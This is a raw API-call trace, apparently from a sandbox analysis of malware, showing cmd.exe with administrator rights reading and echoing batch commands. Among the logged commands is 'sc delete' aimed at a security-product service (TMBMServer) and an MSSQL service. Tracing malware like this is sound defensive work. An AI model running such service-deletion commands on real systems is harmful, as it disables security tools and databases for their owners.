returned 0 [0076.787] GetConsoleOutputCP () returned 0x1b5 [0076.787] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.787] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.787] GetProcessHeap () returned 0x240000 [0076.787] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0076.788] GetProcessHeap () returned 0x240000 [0076.788] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0076.788] GetProcessHeap () returned 0x240000 [0076.788] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0076.788] GetProcessHeap () returned 0x240000 [0076.788] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0076.788] GetProcessHeap () returned 0x240000 [0076.788] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0076.788] GetProcessHeap () returned 0x240000 [0076.788] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0076.788] GetProcessHeap () returned 0x240000 [0076.788] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0076.788] GetProcessHeap () returned 0x240000 [0076.788] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0076.788] GetProcessHeap () returned 0x240000 [0076.788] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0076.788] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0076.788] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.788] GetFileType (hFile=0x120) returned 0x3 [0076.788] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.788] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0076.788] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0076.788] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.788] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.788] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.789] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0076.789] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.789] GetFileType (hFile=0x120) returned 0x3 [0076.789] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.789] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0076.789] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0076.789] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.789] GetFileType (hFile=0xb8) returned 0x3 [0076.789] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.789] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.789] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.789] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0076.789] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.789] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.789] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.789] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0076.789] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.789] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.789] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.789] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0076.789] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.789] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.789] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.790] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0076.790] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.790] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.790] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.790] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0076.790] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.790] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.790] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.790] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0076.790] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.790] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.790] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.790] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0076.790] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.790] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.790] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.790] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0076.790] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.790] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.790] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.790] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0076.790] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.790] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.791] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.791] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0076.791] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.791] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.791] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.791] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"MBMServer\nRY$HL\"\nvice\n\n") returned 1 [0076.791] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.791] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.791] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.791] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="MBMServer\nRY$HL\"\nvice\n\n") returned 1 [0076.791] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.791] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.791] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.791] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="SMServer\nRY$HL\"\nvice\n\n") returned 1 [0076.791] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.791] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.791] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.791] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="SServer\nRY$HL\"\nvice\n\n") returned 1 [0076.791] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.791] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.791] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.791] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="Qerver\nRY$HL\"\nvice\n\n") returned 1 [0076.791] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.791] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.791] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.791] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="Lrver\nRY$HL\"\nvice\n\n") returned 1 [0076.792] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.792] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.792] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.792] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="$ver\nRY$HL\"\nvice\n\n") returned 1 [0076.792] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.792] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.792] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.792] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="Per\nRY$HL\"\nvice\n\n") returned 1 [0076.792] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.792] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.792] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.792] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="Rr\nRY$HL\"\nvice\n\n") returned 1 [0076.792] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.792] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.792] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.792] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="O\nRY$HL\"\nvice\n\n") returned 1 [0076.792] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.792] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.792] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.792] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="GRY$HL\"\nvice\n\n") returned 1 [0076.792] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.792] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.792] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.792] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="IY$HL\"\nvice\n\n") returned 1 [0076.792] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.792] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.793] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.793] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="D$HL\"\nvice\n\n") returned 1 [0076.793] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.793] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.793] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.793] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="\"HL\"\nvice\n\n") returned 1 [0076.793] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.793] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.793] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.793] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="\nL\"\nvice\n\n") returned 1 [0076.793] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.793] GetFileType (hFile=0xb8) returned 0x3 [0076.793] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.793] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.793] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.793] GetFileType (hFile=0x120) returned 0x3 [0076.793] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQL$PROGID\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQL$PROGID\"\n", lpUsedDefaultChar=0x0) returned 26 [0076.793] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x19, lpOverlapped=0x0) returned 1 [0076.793] GetProcessHeap () returned 0x240000 [0076.793] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0076.793] GetProcessHeap () returned 0x240000 [0076.793] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0076.793] GetProcessHeap () returned 0x240000 [0076.793] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0076.794] GetProcessHeap () returned 0x240000 [0076.794] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0076.794] GetProcessHeap () returned 0x240000 [0076.794] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3e) returned 0x25aa40 [0076.794] GetConsoleOutputCP () returned 0x1b5 [0076.794] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.794] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.794] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.794] GetProcessHeap () returned 0x240000 [0076.794] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0076.794] GetProcessHeap () returned 0x240000 [0076.794] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x44) returned 0x25aa90 [0076.794] GetProcessHeap () returned 0x240000 [0076.794] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0076.794] SetErrorMode (uMode=0x0) returned 0x1 [0076.794] SetErrorMode (uMode=0x1) returned 0x0 [0076.794] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0076.795] SetErrorMode (uMode=0x1) returned 0x1 [0076.795] GetProcessHeap () returned 0x240000 [0076.795] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0076.795] GetProcessHeap () returned 0x240000 [0076.795] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0076.795] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0076.795] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0076.795] GetProcessHeap () returned 0x240000 [0076.795] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0076.795] GetProcessHeap () returned 0x240000 [0076.795] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0076.795] GetProcessHeap () returned 0x240000 [0076.795] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0076.795] GetProcessHeap () returned 0x240000 [0076.795] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0076.795] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.795] GetProcessHeap () 